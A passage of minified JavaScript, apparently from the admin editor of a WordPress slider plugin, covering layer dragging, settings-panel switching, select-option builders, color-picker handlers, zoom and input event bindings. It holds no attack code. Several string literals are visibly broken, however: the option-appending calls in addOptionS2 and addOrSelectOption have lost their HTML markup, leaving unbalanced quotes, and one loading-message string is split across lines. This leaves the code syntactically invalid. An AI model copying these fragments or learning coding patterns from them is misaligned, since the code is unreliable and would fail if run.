RVS.S.waitOnFeedback.allowed)RVS.S.waitOnFeedback.allowed.hasOwnProperty(i)&&(t=!0===t||jQuery.inArray(RVS.S.waitOnFeedback.allowed[i],e.target.classList)>=0);if(!t)return void 0!==RVS.S.waitOnFeedback.closeEvent&&RVS.DOC.trigger(RVS.S.waitOnFeedback.closeEvent),RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),!1}})},RVS.F.findUndefineds=function(e,t){var i="";for(var a in t=void 0===t?"ROOT":t,e)e.hasOwnProperty(a)&&("object"==typeof e[a]?(i=t+"."+a,RVS.F.findUndefineds(e[a],i)):void 0===e[a]&&console.log(t+"."+a+"="+t+"."+a+'===undefined ? "" : '+t+"."+a+";"))},RVS.F.dragMe=function(e){e.element.data("dragstart",{top:"auto",left:"auto",right:"auto",bottom:"auto"}),e.element.draggable({start:function(t,i){RVS.F.openBackupGroup({id:"elementmovement",txt:"Move "+e.element.attr("id"),icon:"open_with"}),RVS.F.updateContentDeltas(),RVS.S.click.y=t.clientY,RVS.S.click.x=t.clientX,n=[],e.mem={x:0,y:0},e.revert={x:"auto"===this.style.left?-1:1,y:"auto"===this.style.top?-1:1},void 0!==e.input&&void 0!==e.input.x&&(e.mem.x=parseInt(e.input.x.val(),0)),void 0!==e.input&&void 0!==e.input.y&&(e.mem.y=parseInt(e.input.y.val(),0)),e.attribute=void 0===e.attribute?{x:"",y:""}:e.attribute,e.attribute.x=""===e.attribute.x||void 0===e.attribute.x?e.input.x.data("r"):e.attribute.x,e.attribute.y=""===e.attribute.y||void 0===e.attribute.y?e.input.y.data("r"):e.attribute.y,e.pos={x:0,y:0},n.push(e),RVS.C.vW.classList.remove("mode__slidelayout"),RVS.C.vW.classList.add("mode__navlayout"),RVS.F.openSettings({forms:e.forms,uncollapse:!0})},drag:function(e,t){for(var i in RVS.S.DaD.dragdelta.x=e.clientX-RVS.S.click.x,RVS.S.DaD.dragdelta.y=e.clientY-RVS.S.click.y,n)n.hasOwnProperty(i)&&y(n[i]);t.position={}},stop:function(t,i){RVS.F.closeBackupGroup({id:"elementmovement",txt:"Move "+e.element.attr("id"),icon:"open_with"})}})},RVS.F.updateFormPositions=function(e){null!==e.jf&&void 0!==e.jf&&requestAnimationFrame(function(){if(!0===e.uncollapse||"true"===e.uncollapse){var t=RVS.F.closestClass(e.jf,"form_collector"),i=RVS.C.theRightToolbar[0].querySelectorAll(".form_collector .formcontainer");if("form_collector_layerlist"!==t.id)for(var a in i){if(!i.hasOwnProperty(a)||"form_layerlist"===i[a].id||null==i[a].offsetParent)continue;i[a].classList.add("collapsed")}e.jf.classList.remove("collapsed")}if(void 0!==e.jf.dataset.unselect){var r=document.querySelectorAll(e.jf.dataset.unselect);for(var o in r)r.hasOwnProperty(o)&&r[o].classList.remove("selected")}if(void 0!==e.jf.dataset.select){r=document.querySelectorAll(e.jf.dataset.select);for(var o in r)r.hasOwnProperty(o)&&r[o].classList.add("selected")}RVS.DOC.trigger("scrollUpdates")})},RVS.F.showForms=function(e,t){var i=e.split(":");if(RVS.eMode.lo_container=void 0===RVS.eMode.lo_container?document.getElementById("mmbw_loptions"):RVS.eMode.lo_container,RVS.eMode.sticky_container=void 0===RVS.eMode.sticky_container?document.getElementById("settings_sticky_info"):RVS.eMode.sticky_container,RVS.eMode.stickyLeft=void 0===RVS.eMode.stickyLeft?document.getElementById("settings_sticky_left"):RVS.eMode.stickyLeft,RVS.eMode.stickyRight=void 0===RVS.eMode.stickyRight?document.getElementById("settings_sticky_right"):RVS.eMode.stickyRight,i[0].indexOf("*sliderlayout*")>=0&&"sliderlayout"!==RVS.S.vWmode){var a=RVS.S.vWmode;RVS.F.mainMode({mode:"sliderlayout"}),RVS.eMode.top="slider","navlayout"===a&&requestAnimationFrame(function(){RVS.F.showWaitAMinute({fadeIn:0}),RVS.F.drawHTMLLayers(),RVS.F.showWaitAMinute({fadeOut:100})})}for(var r in i[0].indexOf("*navlayout*")>=0&&"navlayout"!==RVS.S.vWmode&&(RVS.F.mainMode({mode:"navlayout"}),RVS.eMode.top="navigation"),i[0].indexOf("*slidelayout*")>=0&&"slidelayout"!==RVS.S.vWmode&&(RVS.F.mainMode({mode:"slidelayout"}),RVS.eMode.top="slide"),i[0].indexOf("*mode__slidestyle*")>=0&&(RVS.DOC.trigger("changeToSlideMode"),RVS.eMode.top="slide"),i[0].indexOf("*mode__slidecontent*")>=0&&(RVS.DOC.trigger("changeToLayerMode"),RVS.eMode.top="layer"),i)i.hasOwnProperty(r)&&(i[r]=i[r].replace("*sliderlayout*",""),i[r]=i[r].replace("*navlayout*",""),i[r]=i[r].replace("*slidelayout*",""),i[r]=i[r].replace("*mode__slidestyle*",""),i[r]=i[r].replace("*mode__slidecontent*",""));if(""!==i[0]&&(RVS.eMode.menu=i[0]),void 0!==RVS.S.sliderInputFieldsInitialised||"static"!==window.lastSlideSettingForm&&("slider"!==RVS.eMode.top&&""!==RVS.eMode.top||"#form_module_title"==RVS.eMode.menu)&&"navigation"!==RVS.eMode.top||""===RVS.eMode.menu||RVS.F.updateSliderInputFields(!0),void 0===RVS.S.layerInputFieldsInitialised&&"layer"===RVS.eMode.top&&RVS.F.updateLayerInputFields(!0),void 0===RVS.S.slideInputFieldsInitialised&&"slide"===RVS.eMode.top&&RVS.F.updateSlideInputFields(!0),void 0!==i[0]&&i[0].length>0&&RVS.F.updateFormPositions({jf:document.querySelector(i[0]),focus:!0,uncollapse:t}),RVS.eMode.preMode=RVS.eMode.mode,"layer"===RVS.eMode.top&&"#form_layer_content"===RVS.eMode.menu&&1===RVS.selLayers.length&&void 0!==RVS.L[RVS.selLayers[0]]&&"audio"===RVS.L[RVS.selLayers[0]].type&&RVS.F.checkForAudioLayer(),"layer"!==RVS.eMode.top||"#form_layer_animation"!==RVS.eMode.menu&&"#form_layer_loop"!==RVS.eMode.menu?"layer"===RVS.eMode.top&&"#form_layer_hover"===RVS.eMode.menu&&"hover"!==RVS.eMode.mode?(RVS.eMode.mode="hover",RVS.eMode.lo_container.className="mmbw_hover",RVS.eMode.sticky_container.className="sticky_in_animation",RVS.F.animationMode(!1),RVS.S.shwLayerAnim&&(RVS.S.shwLayerAnim=!1,RVS.F.changeSwitchState({el:document.getElementById("layer_simulator"),state:"play"}),RVS.F.changeSwitchState({el:document.getElementById("layer_simulator_loop"),state:"play"})),RVS.F.updateSelectedLayersIdleHover(),RVS.TL.TL.removeClass("inAnimationMode"),RVS.C.rb.removeClass("inAnimationMode")):"idle"!==RVS.eMode.mode&&(RVS.eMode.mode="idle",RVS.eMode.lo_container.className="mmbw_idle",RVS.eMode.sticky_container.className="",RVS.F.animationMode(!1),RVS.S.shwLayerAnim&&(RVS.S.shwLayerAnim=!1,RVS.F.changeSwitchState({el:document.getElementById("layer_simulator"),state:"play"}),RVS.F.changeSwitchState({el:document.getElementById("layer_simulator_loop"),state:"play"})),RVS.F.updateSelectedLayersIdleHover(),RVS.TL.TL.removeClass("inAnimationMode"),RVS.C.rb.removeClass("inAnimationMode")):(RVS.selLayers.length>=1&&void 0!==RVS.L[RVS.selLayers[0]]&&RVS.F.selectLayers({id:RVS.L[RVS.selLayers[0]].uid,overwrite:!0,action:"add"}),RVS.eMode.mode="animation",RVS.eMode.lo_container.className="mmbw_animation",RVS.eMode.sticky_container.className="sticky_in_animation",RVS.F.animationMode(!0),RVS.TL.TL.addClass("inAnimationMode"),RVS.C.rb.addClass("inAnimationMode")),"idle"===RVS.eMode.mode&&"idle"!==RVS.S.keyFrame&&(RVS.S.keyFrame="idle",RVS.F.animationMode(!1)),"hover"===RVS.eMode.preMode&&"hover"!==RVS.eMode.mode)for(var o in RVS.selLayers)RVS.selLayers.hasOwnProperty(o)&&RVS.F.drawHTMLLayer({uid:RVS.selLayers[o]});"slide"===RVS.eMode.top&&"#form_slide_loops"==RVS.eMode.menu?(RVS.TL.TL.addClass("slideloopedit"),RVS.TL.slideLoopEdit=!0):RVS.TL.slideLoopEdit&&(RVS.TL.TL.removeClass("slideloopedit"),RVS.TL.slideLoopEdit=!1),RVS.F.checkForFixedScroll(),RVS.DOC.trigger("editorViewModeChange"),clearTimeout(RVS.eMode.stickytimer),RVS.eMode.stickytimer=setTimeout(function(){var e="slider"===RVS.eMode.top?document.querySelector(".general_submodule_trigger.selected .gso_title"):"navigation"===RVS.eMode.top?document.querySelector(".nav_submodule_trigger.selected .gso_title"):"slide"===RVS.eMode.top?document.querySelector(".slide_submodule_trigger.selected .gso_title"):document.querySelector(".layer_submodule_trigger.selected .gso_title");null!==e&&(RVS.eMode.stickyLeft.textContent=e.textContent,RVS.eMode.stickyLeft.classList.remove("purple"),void 0!==e.dataset.stickycolor&&"purple"===e.dataset.stickycolor&&RVS.eMode.stickyLeft.classList.add("purple")),RVS.eMode.stickyRight.innerHTML=RVS.eMode.top?RVS_LANG["sticky_"+RVS.eMode.top]:RVS_LANG.sticky_slide},50),RVS.F.manageShapeContentShow()},RVS.F.manageShapeContentShow=function(){requestAnimationFrame(function(){"#form_layer_content"==RVS.eMode.menu?RVS.C.theRightToolbar[0].classList.add("_layer_content_selected_"):RVS.C.theRightToolbar[0].classList.remove("_layer_content_selected_")})},RVS.F.openSettings=function(e){if(void 0!==e.btn&&void 0===e.forms&&(e.forms=e.btn.data("forms"),e.forms=void 0===e.forms?e.btn.closest(".markable").length>0?e.btn.closest(".markable").data("forms"):[]:e.forms),void 0!==e.forms)if("string"==typeof e.forms)RVS.F.showForms(e.forms,e.uncollapse);else for(var t in e.forms)e.forms.hasOwnProperty(t)&&RVS.F.showForms(e.forms[t],e.uncollapse)},RVS.F.mainMode=function(e){switch(RVS.C.vW.classList.remove("mode__sliderlayout"),RVS.C.vW.classList.remove("mode__slidelayout"),RVS.C.vW.classList.remove("mode__navlayout"),RVS.S.vWmode=e.mode,!0!==e.ignoreReDraw&&RVS.DOC.trigger("beforeLayoutModeChange"),e.mode){case"navlayout":RVS.C.vW.classList.add("mode__navlayout"),RVS.F.redrawAllNavigationContainer();break;case"sliderlayout":RVS.C.vW.classList.add("mode__sliderlayout"),RVS.F.redrawAllNavigationContainer();break;case"slidelayout":RVS.C.vW.classList.add("mode__slidelayout"),void 0!==e.slide?RVS.F.setSlideFocus({slideid:e.slide,ignoreUpdateFields:e.ignoreUpdateFields}):RVS.F.updateAllHTMLLayerPositions()}e.set&&void 0!==e.forms&&RVS.F.openSettings({forms:e.forms,uncollapse:e.uncollapse})},RVS.F.setInputTo=function(e){var t=document.getElementById(e.field.replace("#",""));RVS.F.updateEasyInput({el:t,nval:e.val,path:e.path}),"checkbox"===t.type&&RVS.F.turnOnOffVisUpdate({input:t}),t.dispatchEvent(new Event("change",{bubbles:!0}))},RVS.F.generateAttachmentMetaData=function(){RVS.ENV.create_img_meta&&RVS.F.ajaxRequest("generate_attachment_metadata",{},function(){},!0,!0)},RVS.F.updateInputBoxes=function(){jQuery(".tos2, .slideinput, .sliderinput").trigger("init")},RVS.F.removeAllOptionsS2=function(e){void 0!==e&&void 0!==e.select&&(e.select.find("option").remove(),e.select.hasClass("nosearchbox")&&e.select.ddTP("change").ddTP({placeholder:"Enter or Select"}))},RVS.F.addOptionS2=function(e){return void 0!==e.val&&void 0!==e.select&&(!(e.select.find('option[value="'+e.val+'"]').length>0)&&(e.select.append('"),void(e.select.hasClass("nosearchbox")&&e.select.ddTP("change").ddTP({placeholder:"Enter or Select"}))))},RVS.F.addOrSelectOption=function(e){if(void 0===e.val||void 0===e.select)return!1;e.select.find('option[value="'+e.val+'"]').length>0&&!1!==e.selected?e.select.val(e.val).trigger("change"):(!1!==e.selected?e.select.append('"):e.select.append('"),e.select.ddTP({placeholder:"Select From List"}))},RVS.F.setS2Option=function(e){void 0!==e&&(void 0!==e.enableValue&&e.select.find('option[value="'+e.enableValue+'"]').prop("disabled",!1),void 0!==e.disableValue&&e.select.find('option[value="'+e.disableValue+'"]').prop("disabled","disabled"),void 0!==e.selectValue&&(e.select[0].value=e.selectValue),e.select.hasClass("nosearchbox")&&e.select.ddTP("change").ddTP({placeholder:"Enter or Select"}),!0===e.update&&RVS.F.updateEasyInput({el:e.select[0],path:e.path}))},RVS.F.setRadio=function(e){if(void 0!==e&&void 0!==e.radio&&void 0!==e.radioValue){var t=jQuery('input:radio[name="'+e.radio+'"]').filter('[value="'+e.radioValue+'"]');t.prop("checked",!0),!0===e.change&&t.trigger("change"),!0===e.update&&RVS.F.updateEasyInput({el:e.select[0],path:e.path})}},RVS.F.insertAfter=function(e,t){var i=t.parentNode;i.lastChild==t?i.appendChild(e):i.insertBefore(e,t.nextSibling)},RVS.F.prepareOneInputWithPresets=function(e){if(-1==e.parentNode.className.indexOf("input_presets_wrap")){var t,i,a,r,o,s=RVS.F.cE({cN:"input_presets_wrap"}),n=RVS.F.cI({cN:"input_presets_dropdown",c:"more_vert"}),d=RVS.F.cE({cN:"input_presets"}),l=e.dataset.presets_val.split("!"),c=e.dataset.presets_text.split("!"),p="";for(t in c)c.hasOwnProperty(t)&&(p=c[t].indexOf("$$")>=0?"ipwborder":"",o=(r=c[t].split("$")).length>2&&r[2].length>0,i=RVS.F.cE({cN:"input_preset "+p,ds:{iid:e.id,r:e.dataset.r,val:l[t]}}),o?(a=RVS.F.cI({c:window.RS_PRESETS[r[1]]}),i.innerText=r[2],i.prepend(a)):i.innerText=c[t],d.appendChild(i));s.appendChild(n),s.appendChild(d),(s=e.parentNode.insertBefore(s,e)).appendChild(e)}},RVS.F.initInputsWithPresets=function(e){void 0===e&&jQuery(".input_with_presets").each(function(){RVS.F.prepareOneInputWithPresets(this)})},RVS.F.createSelectOptions=function(e){void 0===(d=void 0===d?{}:d)[e.ctype]?(d[e.ctype]=[],RVS.F.ajaxRequest("get_list_of",{type:e.ctype},function(t){if(t.pages)for(var i in t.pages)t.pages.hasOwnProperty(i)&&d[e.ctype].push({id:i,slug:t.pages[i].slug,title:t.pages[i].title});if(t.sliders)for(var i in t.sliders)t.sliders.hasOwnProperty(i)&&d[e.ctype].push({id:i,slug:t.sliders[i].slug,title:t.sliders[i].title,type:t.sliders[i].type,subtype:t.sliders[i].subtype});if(t.posttypes)for(var i in t.posttypes)t.posttypes.hasOwnProperty(i)&&d[e.ctype].push({slug:t.posttypes[i].slug,title:t.posttypes[i].title});e.select.innerHTML=h({array:d[e.ctype],type:e.select.dataset.valuetype,preselected:e.select.value,filter:e.select.dataset.filter,subfilter:e.select.dataset.subfilter}),jQuery(e.select).ddTP({placeholder:"Select From List"}),RVS.F.updateSelectsWithSpecialOptions()},void 0,void 0,RVS_LANG.updateselects+'
"'+RVS_LANG.buildingSelects+'"')):(e.select.innerHTML=h({array:d[e.ctype],type:e.select.dataset.valuetype,preselected:e.select.value,filter:e.select.dataset.filter,subfilter:e.select.dataset.subfilter}),jQuery(e.select).ddTP({placeholder:"Select From List"}),RVS.F.updateSelectsWithSpecialOptions())},RVS.F.getCustomPostTypes=function(e){if(void 0!==RVS.LIB.POST_TYPES)return e&&e(),RVS.LIB.POST_TYPES;RVS.LIB.POST_TYPES=[],RVS.F.ajaxRequest("get_list_of",{type:"posttypes"},function(t){if(t.posttypes)for(var i in t.posttypes)t.posttypes.hasOwnProperty(i)&&RVS.LIB.POST_TYPES.push({slug:t.posttypes[i].slug,title:t.posttypes[i].title,tax:t.posttypes[i].tax});return e&&e(),RVS.LIB.POST_TYPES})},RVS.F.updateSelectsWithSpecialOptions=function(){if(void 0===c?c={listofselects:document.getElementsByClassName("select_of_customlist"),curindex:0}:c.curindex++,c.curindex>=c.listofselects.length)return delete c,!0;RVS.F.createSelectOptions({ctype:c.listofselects[c.curindex].dataset.ctype,select:c.listofselects[c.curindex]})},RVS.F.noGradient=function(e){return-1==e.indexOf("slide.bg.color")&&-1==e.indexOf("slider.bg.color")&&-1==e.indexOf(".progressbar.color")&&(e.indexOf(".color")>=0||e.indexOf(".borderColor")>=0||e.indexOf(".strokeColor")>=0)},RVS.DOC.on("RSCOLOR.OPEN",function(e,t){if(jQuery.rsColorPickerApi.hideGlobal(),null!=t&&void 0!==t.currentInput&&void 0!==t.currentInput[0]){var i=t.currentInput[0].className.indexOf("layerinput")>=0?"layer":t.currentInput[0].className.indexOf("sliderinput")>=0?"slider":t.currentInput[0].className.indexOf("navstyleinput")>=0?"navstyle":t.currentInput[0].className.indexOf("slideinput")>=0?"slide":"na";if("na"!==i&&void 0!==t.currentInput[0].dataset.r){var a=RVS.F.getConcVals(t.currentInput[0].dataset.r,RVS.screen),r=[];switch(a=a.replace("slider.",""),i){case"layer":for(var o in RVS.selLayers)RVS.selLayers.hasOwnProperty(o)&&r.push({inpname:t.currentInput[0].name,r:RVS.S.slideId+".layers."+RVS.selLayers[o]+"."+a,layer:RVS.selLayers[o],slide:RVS.S.slideId,type:"layer"});break;case"slide":r.push({inpname:t.currentInput[0].name,r:RVS.S.slideId+".slide."+a,slide:RVS.S.slideId,type:"slide"});break;case"slider":r.push({inpname:t.currentInput[0].name,r:"settings."+a,type:"slider"});break;case"navstyle":r.push({inpname:t.currentInput[0].name,r:a,type:"navstyle",evtparam:t.currentInput[0].dataset.evtparam})}RVS.F.checkGlobalSkinAvail(),jQuery.rsColorPickerApi.showGlobal(t,RVS.SLIDER.settings.skins.colors,r)}}}),RVS.DOC.on("click","#edit_skin_colors",function(){jQuery.rsColorPickerApi.closeColorPicker(),RVS.F.openColorSkinApi()}),RVS.F.checkGlobalSkinAvail=function(){for(var e in RVS.SLIDER.settings.skins.colors)if(RVS.SLIDER.settings.skins.colors.hasOwnProperty(e)){var t=[];for(var i in RVS.SLIDER.settings.skins.colors[e].ref)if(RVS.SLIDER.settings.skins.colors[e].ref.hasOwnProperty(i)){var a=RVS.SLIDER.settings.skins.colors[e].ref[i];void 0!==a.slide&&void 0===RVS.SLIDER[a.slide]||(void 0===a.layer||void 0!==RVS.SLIDER[a.slide]&&void 0!==RVS.SLIDER[a.slide].layers&&void 0!==RVS.SLIDER[a.slide].layers[a.layer])&&t.push(a)}RVS.SLIDER.settings.skins.colors[e].ref=t}},RVS.F.initTpColorBoxes=function(e){jQuery(e).rsColorPicker({init:function(e,t,i,a){var r=document.createElement("input");r.type="text",r.className="layerinput",e[0].appendChild(r),t.data("ghost",r)},onRefresh:function(e,t,i,a){e.data("ghost").value=t},onEdit:function(e,t,i,a){e.data("ghost").value=t;var r=void 0!==i&&void 0!==a&&-1!==a&&void 0!==i[a]?i[a]:void 0;void 0!==r&&(r.v=t),RVS.DOC.trigger("coloredit",[e,t,void 0,void 0,void 0!==r?r:e[0].className.indexOf("skininput")>0?RVS.SLIDER.settings.skins.colors[e[0].dataset.evtparam]:void 0])},change:function(e,t,i,a,r){e.data("ghost").value=t;var o,s=void 0!==a?a:e[0].className.indexOf("skininput")>0?jQuery.extend(!0,{},RVS.SLIDER.settings.skins.colors):void 0,n=!1;if(void 0!==s){var d=-1==r||void 0===r?e[0].dataset.evtparam:r;void 0!==s[d]&&(s[d].v=t),RVS.F.openBackupGroup({id:"colorchange",txt:void 0!==s[d]?s[d].alias+" Skin Change":(o=e[0].name,("layerTextColorHover"===o?"Layer Hover Color":"layerTextColor"===o?"Layer Color":"layerTextColorInFrame"===o?"Layer Color in Frame":"frameColorAnimation"===o?"Layer Color Animation":"frameBGColorAnimation"===o?"Frame BG Color Animation":"frameBGColorAnimationDouble"===o?"Frame BG Color Animation":"layerBGColor"===o?"Layer Background Color":"layerBorderColor"===o?"Layer Border Color":"layerSVGColor"===o?"SVG Color":"layerStrokeColor"===o?"Stroke Color":"slide_bg_color"===o?"Slide Background Color":"sliderprogresscolor"===o?"Progress Bar Color":"sliderTabBgColor"===o?"Tab Wrap Color":"sliderThumbBgColor"===o?"Thumbnails BG Color":"sliderbgcolor"===o?"Slider Bakground Color":"Color Change")+" "),icon:"style"}),n=!0,RVS.F.updateSliderObj({path:"settings.skins.colors",val:jQuery.extend(!0,{},void 0===a?s:a)}),s=s[d]}RVS.DOC.trigger("coloredit",[e,t,i,!0,s]),(void 0!==s||n)&&setTimeout(function(){RVS.F.closeBackupGroup({id:"colorchange"})},500)},cancel:function(e,t,i,a,r){e.data("ghost").value=t;var o=void 0!==a&&void 0!==r&&-1!==r&&void 0!==a[r]?a[r]:void 0;void 0!==o&&(o.v=t),RVS.DOC.trigger("colorcancel",[e,t,void 0,void 0,void 0!==o?o:e[0].className.indexOf("skininput")>0?RVS.SLIDER.settings.skins.colors[e[0].dataset.evtparam]:void 0])}})},RVS.F.createWPMLOptions=function(e){var t,i=document.createDocumentFragment();if("undefined"!=typeof RS_WPML_LANGS&&void 0!==RS_WPML_LANGS){for(var a in RS_WPML_LANGS)RS_WPML_LANGS.hasOwnProperty(a)&&((t=RVS.F.CO(a,RS_WPML_LANGS[a].title)).dataset.src=RS_WPML_LANGS[a].image,i.appendChild(t));e.appendChild(i)}},RVS.F.convertEase=function(e){return e=(e="none"===(e=void 0===e?"power2.inOut":e)?"none":"slow"===e?"slow":e.replace("easeIn","in").replace("easeOut","out").replace("easeInOut","inOut")).indexOf(".")>=0?e.charAt(0).toLowerCase()+e.slice(1):e},RVS.F.createEaseOptions=function(e){if(e=void 0===e.innerHTML?e[0]:e,void 0===a||""===a)for(var t in a=document.createDocumentFragment(),window.RS_EASES)window.RS_EASES.hasOwnProperty(t)&&a.appendChild(RVS.F.CO(t,window.RS_EASES[t]));void 0!==e.dataset&&"true"==e.dataset.inherit&&a.appendChild(RVS.F.CO("inherit","Inherit")),e.appendChild(a.cloneNode(!0))},RVS.F.createSlideAnimOptions=function(t){var i;if(t=void 0===t.innerHTML?t[0]:t,void 0===e||""===e)for(var a in(e=document.createDocumentFragment()).appendChild(document.createElement("option")),RVS.LIB.SLTR)if(RVS.LIB.SLTR.hasOwnProperty(a)&&"random"!==a&&"custom"!==a)for(var r in RVS.LIB.SLTR[a])if(RVS.LIB.SLTR[a].hasOwnProperty(r)&&"icon"!=r&&"eclass"!=r){for(var o in(i=document.createElement("optgroup")).label=(void 0===RVS_LANG["sltr_"+a]?a:RVS_LANG["sltr_"+a])+" "+(void 0===RVS_LANG["sltr_"+r]?r:RVS_LANG["sltr_"+r]),RVS.LIB.SLTR[a][r])i.appendChild(RVS.F.CO(o,(void 0===RVS_LANG["sltr_"+a]?"":RVS_LANG["sltr_"+a]+" ")+_(RVS.LIB.SLTR[a][r][o].title)));e.appendChild(i)}t.appendChild(e.cloneNode(!0))},RVS.F.createDottedOptions=function(e){if(e=void 0===e.innerHTML?e[0]:e,void 0===t||""===t){(t=document.createDocumentFragment()).appendChild(RVS.F.CO("none","No Overlay"));for(var i=1;i<17;i++)t.appendChild(RVS.F.CO(i,RVS_LANG["dov_"+i]))}e.appendChild(t.cloneNode(!0))},RVS.F.createSliderListOptions=function(e){if(e=void 0===e.innerHTML?e[0]:e,void 0===i||""===i)for(var t in i=document.createDocumentFragment(),RVS.LIB.SLIDERS)RVS.LIB.SLIDERS.hasOwnProperty(t)&&i.appendChild(RVS.F.CO(RVS.LIB.SLIDERS[t].alias,RVS.LIB.SLIDERS[t].title));e.appendChild(i.cloneNode(!0))},RVS.F.initialiseGlobalBoxes=function(e){jQuery(".tos2.slideAnimSelect").each(function(){RVS.F.createSlideAnimOptions(this)}),jQuery(".tos2.dottedoverlay").each(function(){RVS.F.createDottedOptions(this)}),jQuery(".tos2.selectsliderlist").each(function(){RVS.F.createSliderListOptions(this)}),jQuery(".tos2.easingSelect").each(function(){RVS.F.createEaseOptions(this)}),jQuery(".tos2.wpml_lang_selector").each(function(){RVS.F.createWPMLOptions(this)}),"overview"===e&&(jQuery(".tos2.wpml_lang_selector").ddTP({placeholder:"Select From List",pre:'',preData:"src"}),jQuery(".tos2.nosearchbox").ddTP({placeholder:"Select From List"}),jQuery(".tos2.searchbox").ddTP({placeholder:"Enter or Select"})),jQuery("#tl_gridmanagement_wrap .tos2.nosearchbox").ddTP({placeholder:"Select From List"}),RVS.DOC.on("click","#add_on_management",function(){void 0!==RVS.ENV.newAddonsCounter&&(RVS.ENV.newAddonsCounter.style.display="none"),RVS.F.openAddonModal()}),RVS.DOC.on("openAddonModal",RVS.F.openAddonModal)},RVS.F.updateZoom=function(e){RVS.zoom=e<100?Math.round(100*(.5+.5*e/100))/100:Math.round(100*(1+1*(e-100)/100))/100,tpGS.gsap.set(RVS.C.UL,{scaleX:RVS.zoom,scaleY:RVS.zoom,transformOrigin:"0px 0px"}),RVS.C.zoomFactor.textContent=Math.round(100*RVS.zoom)+"%",RVS.F.updateContentDeltas(),RVS.F.buildRuler(!0),RVS.F.setRulers()},RVS.F.initialiseInputBoxes=function(e){if(RVS.DOC.on("gethtml5posterimage",function(e,t){RVS.F.videoExtract.get("slide"===t?RVS.SLIDER[RVS.S.slideId].slide.bg.mpeg:document.getElementById("layer_mpeg_src").value,function(e,t){RVS.F.setBGPosterImage(e.path,e.id,t)},"slide"===t?RVS.SLIDER[RVS.S.slideId].slide.bg.video.startAt:document.getElementById("layer_video_start").value,t)}),"overview"!==e&&(RVS.C.zoomTopWrap=document.getElementById("zoomer_wrap_toolbar"),RVS.C.zoomFactor=document.getElementById("zoomer_factor"),RVS.C.zoomPin=document.getElementById("ezoomer_pin"),jQuery(RVS.C.zoomPin).resizable({handles:"e",minWidth:"none",grid:[10,1],containment:"parent",start:function(){RVS.C.zoomTopWrap.classList.add("inzoommove")},stop:function(){RVS.C.zoomTopWrap.classList.remove("inzoommove")},resize:function(e,t){t.size.width<0&&(t.size.width=0),RVS.F.updateZoom(t.size.width)}}),RVS.DOC.on("click","#zoomer_wrap_toolbar .selected_placeholder",function(){RVS.F.updateZoom(100),RVS.C.zoomPin.style.width="100px"})),RVS.F.initialiseGlobalBoxes(e),RVS.F.initTpColorBoxes(".my-color-field"),RVS.F.initPreDrops(),RVS.F.initInputsWithPresets(),RVS.DOC.on("keyup focus change",".livechange",function(e){var t=this.dataset;RVS.S.inputField=this.id,RVS.S.inputFieldCursorAt=this.selectionStart,void 0!==t&&void 0!==t.evt&&jQuery(document.body).trigger(t.evt,{event:e,val:this.value,eventparam:t.evtparam})}),RVS.DOC.on("active focus"," .rsdyn_inp",function(e){var t=RVS.F.closestNode(this,"ROW"),i=RVS.F.closestClass(this,"dyn_inp_wrap");null!=t&&t.classList.add("active_"+i.tagName.toLowerCase())}),RVS.DOC.on("blur"," .rsdyn_inp",function(e){var t=RVS.F.closestNode(this,"ROW");null!=t&&(t.classList.remove("active_onelong"),t.classList.remove("active_oneshort"))}),RVS.DOC.on("focus","textarea, input",function(e){RVS.S.inFocus=e.currentTarget,RVS.S.inFocusValue=e.currentTarget.value}),RVS.DOC.on("blur","textarea, input",function(e){"ta_layertext"===e.target.id&&RVS.F.redrawEditedTextLayerwhenPlaceholder(),RVS.S.inFocus="none"}),RVS.DOC.on("click","#filedrop_close",RVS.F.browserDroppable.close),RVS.DOC.on("click","#fullpage_close",RVS.F.fullPageInfo.close),RVS.DOC.on("mouseleave",".input_presets_wrap",function(){jQuery(this).removeClass("infocus")}),RVS.DOC.on("click",".input_preset",function(){if("###metapicker###"===this.dataset.val)RVS.DOC.trigger("addMetaToLayer",{eventparam:"#"+this.dataset.iid});else{var e=jQuery("#"+this.dataset.iid);e.val(this.dataset.val),e.trigger("change"),e.trigger("focus")}}),RVS.DOC.on("click",".show_more_toggle",function(){jQuery(this).toggleClass("showlesson"),jQuery(this.dataset.toggle).toggle()}),RVS.DOC.on("click",".icon_switcher",function(){this.className.indexOf("icsw_on")>=0?RVS.F.setInputTo({field:this.dataset.ref,val:!1}):RVS.F.setInputTo({field:this.dataset.ref,val:!0})}),RVS.DOC.on("click",".triggerEvent",function(e){var t=this.dataset;jQuery(document.body).trigger(t.evt,{event:e,eventparam:t.evtparam})}),RVS.DOC.on("click",".vs-item",function(){jQuery(this.parentNode).find(".vs-item").removeClass("selected"),this.className+=" selected",RVS.F.showHideGroups({hide:this.dataset.hide,show:this.dataset.show,showprio:this.dataset.showprio}),"redrawSelectedLayersInnerHTML"==this.dataset.evt&&RVS.F.redrawTextLayerInnerHTML(RVS.selLayers[0],!0)}),RVS.DOC.on("click",".screen_selector, .toolkit_selector, .eventcaller, .form_opener_btn, .collectortab, .opensettingstrigger, .extendval, .openmodaltrigger",function(e){if(e.target.className.indexOf("tponoff")>=0||this.className.indexOf("ssnotavailable")>=0);else{if(void 0!==this.dataset.triggerinp&&jQuery(this.dataset.triggerinp).val(this.dataset.triggerinpval).trigger("change"),void 0!==this.dataset.forms&&RVS.F.openSettings({forms:jQuery(this).data("forms"),uncollapse:this.dataset.collapse}),void 0!==this.dataset.unselect&&jQuery(this.dataset.unselect).removeClass("selected"),void 0!==this.dataset.select&&jQuery(this.dataset.select).addClass("selected"),void 0!==this.dataset.extendval){var t=jQuery(this.dataset.inp);t.val(t.val()+" "+this.dataset.extendval).trigger("change")}void 0!==this.dataset.screenicon&&(jQuery("#screen_selector_ph_icon").html(this.dataset.screenicon),jQuery("#screen_selector_ph_icon_sr").html(this.dataset.screenicon)),void 0!==this.dataset.evt&&(this.className.indexOf("callEvent")>=0||this.className.indexOf("eventcaller")>=0)&&jQuery(document.body).trigger(this.dataset.evt,this.dataset.evtparam),void 0!==this.dataset.modal&&RVS.F.RSDialog.create({modalid:this.dataset.modal})}RVS.DOC.trigger("previewStopLayerAnimation")}),jQuery(".copyclipboard").length>0&&"undefined"!=typeof RSClipboard){var t=new 